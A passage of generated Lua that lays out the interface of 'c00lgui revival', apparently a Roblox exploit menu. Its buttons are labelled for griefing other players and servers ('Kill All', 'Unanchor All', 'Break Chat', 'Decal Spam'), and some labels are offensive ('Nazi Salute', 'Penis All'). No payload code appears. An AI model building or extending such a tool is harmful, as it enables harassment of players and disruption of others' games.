G2L["dc"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["dc"]["Name"] = [[Button]];
G2L["dc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["dc"]["Text"] = [[team c00lkidd Logo 2]];
G2L["dc"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["dd"] = Instance.new("LocalScript", G2L["dc"]);
-- StarterGui.CoolGui.Frame.Page5
G2L["de"] = Instance.new("Frame", G2L["2"]);
G2L["de"]["Visible"] = false;
G2L["de"]["ZIndex"] = 2;
G2L["de"]["BorderSizePixel"] = 3;
G2L["de"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["de"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["de"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["de"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["de"]["Name"] = [[Page5]];
-- StarterGui.CoolGui.Frame.Page5.PageLabel
G2L["df"] = Instance.new("TextLabel", G2L["de"]);
G2L["df"]["ZIndex"] = 2;
G2L["df"]["BorderSizePixel"] = 3;
G2L["df"]["TextSize"] = 14;
G2L["df"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["df"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["df"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["df"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["df"]["Text"] = [[Page 5]];
G2L["df"]["Name"] = [[PageLabel]];
G2L["df"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Page5.Section2
G2L["e0"] = Instance.new("Frame", G2L["de"]);
G2L["e0"]["Active"] = true;
G2L["e0"]["BorderSizePixel"] = 3;
G2L["e0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e0"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["e0"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["e0"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e0"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Page5.Section2.SectionTitle
G2L["e1"] = Instance.new("TextLabel", G2L["e0"]);
G2L["e1"]["BorderSizePixel"] = 3;
G2L["e1"]["TextSize"] = 14;
G2L["e1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["e1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e1"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["e1"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e1"]["Text"] = [[FE Scripts]];
G2L["e1"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e2"] = Instance.new("TextButton", G2L["e0"]);
G2L["e2"]["TextWrapped"] = true;
G2L["e2"]["BorderSizePixel"] = 3;
G2L["e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e2"]["TextSize"] = 14;
G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e2"]["Name"] = [[Button]];
G2L["e2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e2"]["Text"] = [[Sound Glitcher]];
G2L["e2"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e3"] = Instance.new("LocalScript", G2L["e2"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e4"] = Instance.new("TextButton", G2L["e0"]);
G2L["e4"]["BorderSizePixel"] = 3;
G2L["e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e4"]["TextSize"] = 14;
G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e4"]["Name"] = [[Button]];
G2L["e4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e4"]["Text"] = [[Blackhole]];
G2L["e4"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e5"] = Instance.new("LocalScript", G2L["e4"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e6"] = Instance.new("TextButton", G2L["e0"]);
G2L["e6"]["BorderSizePixel"] = 3;
G2L["e6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e6"]["TextSize"] = 14;
G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e6"]["Name"] = [[Button]];
G2L["e6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e6"]["Text"] = [[FE Flip]];
G2L["e6"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e7"] = Instance.new("LocalScript", G2L["e6"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e8"] = Instance.new("TextButton", G2L["e0"]);
G2L["e8"]["TextWrapped"] = true;
G2L["e8"]["BorderSizePixel"] = 3;
G2L["e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e8"]["TextSize"] = 14;
G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e8"]["Name"] = [[Button]];
G2L["e8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e8"]["Text"] = [[Hamster Ball]];
G2L["e8"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e9"] = Instance.new("LocalScript", G2L["e8"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["ea"] = Instance.new("TextButton", G2L["e0"]);
G2L["ea"]["BorderSizePixel"] = 3;
G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ea"]["TextSize"] = 14;
G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ea"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ea"]["Name"] = [[Button]];
G2L["ea"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ea"]["Text"] = [[Rickroll Chat]];
G2L["ea"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["eb"] = Instance.new("LocalScript", G2L["ea"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["ec"] = Instance.new("TextButton", G2L["e0"]);
G2L["ec"]["BorderSizePixel"] = 3;
G2L["ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ec"]["TextSize"] = 14;
G2L["ec"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ec"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ec"]["Name"] = [[Button]];
G2L["ec"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ec"]["Text"] = [[Nazi Salute]];
G2L["ec"]["Position"] = UDim2.new(0, 0, 0, 198);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["ed"] = Instance.new("LocalScript", G2L["ec"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["ee"] = Instance.new("TextButton", G2L["e0"]);
G2L["ee"]["TextWrapped"] = true;
G2L["ee"]["BorderSizePixel"] = 3;
G2L["ee"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ee"]["TextSize"] = 14;
G2L["ee"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ee"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ee"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ee"]["Name"] = [[Button]];
G2L["ee"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ee"]["Text"] = [[sing c00lkidd anthem]];
G2L["ee"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["ef"] = Instance.new("LocalScript", G2L["ee"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f0"] = Instance.new("TextButton", G2L["e0"]);
G2L["f0"]["BorderSizePixel"] = 3;
G2L["f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f0"]["TextSize"] = 14;
G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f0"]["Name"] = [[Button]];
G2L["f0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f0"]["Text"] = [[commit oof]];
G2L["f0"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f1"] = Instance.new("LocalScript", G2L["f0"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f2"] = Instance.new("TextButton", G2L["e0"]);
G2L["f2"]["BorderSizePixel"] = 3;
G2L["f2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f2"]["TextSize"] = 14;
G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f2"]["Name"] = [[Button]];
G2L["f2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f2"]["Text"] = [[Chat Troll]];
G2L["f2"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f3"] = Instance.new("LocalScript", G2L["f2"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f4"] = Instance.new("TextButton", G2L["e0"]);
G2L["f4"]["BorderSizePixel"] = 3;
G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["TextSize"] = 14;
G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f4"]["Name"] = [[Button]];
G2L["f4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f4"]["Text"] = [[Break Chat]];
G2L["f4"]["Position"] = UDim2.new(0, 73, 0, 165);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f5"] = Instance.new("LocalScript", G2L["f4"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f6"] = Instance.new("TextButton", G2L["e0"]);
G2L["f6"]["BorderSizePixel"] = 3;
G2L["f6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f6"]["TextSize"] = 14;
G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f6"]["Name"] = [[Button]];
G2L["f6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f6"]["Text"] = [[OG Anims]];
G2L["f6"]["Position"] = UDim2.new(0, 73, 0, 198);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f7"] = Instance.new("LocalScript", G2L["f6"]);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f8"] = Instance.new("TextButton", G2L["e0"]);
G2L["f8"]["BorderSizePixel"] = 3;
G2L["f8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["TextSize"] = 14;
G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f8"]["Name"] = [[Button]];
G2L["f8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f8"]["Text"] = [[FE Car]];
G2L["f8"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f9"] = Instance.new("LocalScript", G2L["f8"]);
-- StarterGui.CoolGui.Frame.Page5.Section1
G2L["fa"] = Instance.new("Frame", G2L["de"]);
G2L["fa"]["Active"] = true;
G2L["fa"]["BorderSizePixel"] = 3;
G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["fa"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["fa"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fa"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Page5.Section1.SectionTitle
G2L["fb"] = Instance.new("TextLabel", G2L["fa"]);
G2L["fb"]["BorderSizePixel"] = 3;
G2L["fb"]["TextSize"] = 14;
G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["fb"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["fb"]["Text"] = [[F3X Scrpts]];
G2L["fb"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["fc"] = Instance.new("TextButton", G2L["fa"]);
G2L["fc"]["BorderSizePixel"] = 3;
G2L["fc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fc"]["TextSize"] = 14;
G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fc"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["fc"]["Name"] = [[Button]];
G2L["fc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["fc"]["Text"] = [[Set Skybox]];
G2L["fc"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["fd"] = Instance.new("LocalScript", G2L["fc"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["fe"] = Instance.new("TextButton", G2L["fa"]);
G2L["fe"]["BorderSizePixel"] = 3;
G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fe"]["TextSize"] = 14;
G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fe"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["fe"]["Name"] = [[Button]];
G2L["fe"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["fe"]["Text"] = [[Fire Parts]];
G2L["fe"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["ff"] = Instance.new("LocalScript", G2L["fe"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["100"] = Instance.new("TextButton", G2L["fa"]);
G2L["100"]["BorderSizePixel"] = 3;
G2L["100"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["100"]["TextSize"] = 14;
G2L["100"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["100"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["100"]["Name"] = [[Button]];
G2L["100"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["100"]["Text"] = [[Raining Toads]];
G2L["100"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["101"] = Instance.new("LocalScript", G2L["100"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["102"] = Instance.new("TextButton", G2L["fa"]);
G2L["102"]["BorderSizePixel"] = 3;
G2L["102"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["102"]["TextSize"] = 14;
G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["102"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["102"]["Name"] = [[Button]];
G2L["102"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["102"]["Text"] = [[Baseplate]];
G2L["102"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["103"] = Instance.new("LocalScript", G2L["102"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["104"] = Instance.new("TextButton", G2L["fa"]);
G2L["104"]["BorderSizePixel"] = 3;
G2L["104"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["104"]["TextSize"] = 14;
G2L["104"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["104"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["104"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["104"]["Name"] = [[Button]];
G2L["104"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["104"]["Text"] = [[Unanchor All]];
G2L["104"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["105"] = Instance.new("LocalScript", G2L["104"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["106"] = Instance.new("TextButton", G2L["fa"]);
G2L["106"]["BorderSizePixel"] = 3;
G2L["106"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["TextSize"] = 14;
G2L["106"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["106"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["106"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["106"]["Name"] = [[Button]];
G2L["106"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["106"]["Text"] = [[Raining Luigis]];
G2L["106"]["Position"] = UDim2.new(0, 0, 0, 198);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["107"] = Instance.new("LocalScript", G2L["106"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["108"] = Instance.new("TextButton", G2L["fa"]);
G2L["108"]["BorderSizePixel"] = 3;
G2L["108"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["108"]["TextSize"] = 14;
G2L["108"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["108"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["108"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["108"]["Name"] = [[Button]];
G2L["108"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["108"]["Text"] = [[Burn All]];
G2L["108"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["109"] = Instance.new("LocalScript", G2L["108"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["10a"] = Instance.new("TextButton", G2L["fa"]);
G2L["10a"]["BorderSizePixel"] = 3;
G2L["10a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10a"]["TextSize"] = 14;
G2L["10a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10a"]["Name"] = [[Button]];
G2L["10a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10a"]["Text"] = [[Kill All]];
G2L["10a"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["10b"] = Instance.new("LocalScript", G2L["10a"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["10c"] = Instance.new("TextButton", G2L["fa"]);
G2L["10c"]["BorderSizePixel"] = 3;
G2L["10c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10c"]["TextSize"] = 14;
G2L["10c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10c"]["Name"] = [[Button]];
G2L["10c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10c"]["Text"] = [[Bighead All]];
G2L["10c"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["10d"] = Instance.new("LocalScript", G2L["10c"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["10e"] = Instance.new("TextButton", G2L["fa"]);
G2L["10e"]["BorderSizePixel"] = 3;
G2L["10e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10e"]["TextSize"] = 14;
G2L["10e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10e"]["Name"] = [[Button]];
G2L["10e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10e"]["Text"] = [[Disco]];
G2L["10e"]["Position"] = UDim2.new(0, 73, 0, 165);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["10f"] = Instance.new("LocalScript", G2L["10e"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["110"] = Instance.new("TextButton", G2L["fa"]);
G2L["110"]["BorderSizePixel"] = 3;
G2L["110"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["110"]["TextSize"] = 14;
G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["110"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["110"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["110"]["Name"] = [[Button]];
G2L["110"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["110"]["Text"] = [[Penis All]];
G2L["110"]["Position"] = UDim2.new(0, 73, 0, 198);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["111"] = Instance.new("LocalScript", G2L["110"]);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["112"] = Instance.new("TextButton", G2L["fa"]);
G2L["112"]["BorderSizePixel"] = 3;
G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["TextSize"] = 14;
G2L["112"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["112"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["112"]["Name"] = [[Button]];
G2L["112"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["112"]["Text"] = [[Decal Spam]];
G2L["112"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["113"] = Instance.new("LocalScript", G2L["112"]);
-- StarterGui.CoolGui.Frame.Page6
G2L["114"] = Instance.new("Frame", G2L["2"]);
G2L["114"]["Visible"] = false;
G2L["114"]["ZIndex"] = 2;
G2L["114"]["BorderSizePixel"] = 3;
G2L["114"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["114"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["114"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["114"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["114"]["Name"] = [[Page6]];
-- StarterGui.CoolGui.Frame.Page6.PageLabel
G2L["115"] = Instance.new("TextLabel", G2L["114"]);
G2L["115"]["ZIndex"] = 2;
G2L["115"]["BorderSizePixel"] = 3;
G2L["115"]["TextSize"] = 14;
G2L["115"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["115"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["115"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["115"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["115"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["115"]["Text"] = [[Page 6]];
G2L["115"]["Name"] = [[PageLabel]];
G2L["115"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Page6.Section2
G2L["116"] = Instance.new("Frame", G2L["114"]);
G2L["116"]["Active"] = true;
G2L["116"]["BorderSizePixel"] = 3;
G2L["116"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["116"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["116"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["116"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["116"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Page6.Section2.Credits
G2L["117"] = Instance.new("TextLabel", G2L["116"]);
G2L["117"]["TextWrapped"] = true;
G2L["117"]["BorderSizePixel"] = 3;
G2L["117"]["TextSize"] = 14;
G2L["117"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["117"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["117"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["117"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["117"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["117"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["117"]["Text"] = [[Thank you for using c00lgui revival!
Want to give suggestions? DM Hyperion!
Discord Username: hyperionhax
Special Thanks to:
007n7
KebinMaster
14anz
qipu
rindotekame
Temokhalid
Hyperion1
Hyperion2
Hyperion3]];
G2L["117"]["Name"] = [[Credits]];
-- StarterGui.CoolGui.Frame.Page6.Section1
G2L["118"] = Instance.new("Frame", G2L["114"]);
G2L["118"]["Active"] = true;
G2L["118"]["BorderSizePixel"] = 3;
G2L["118"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
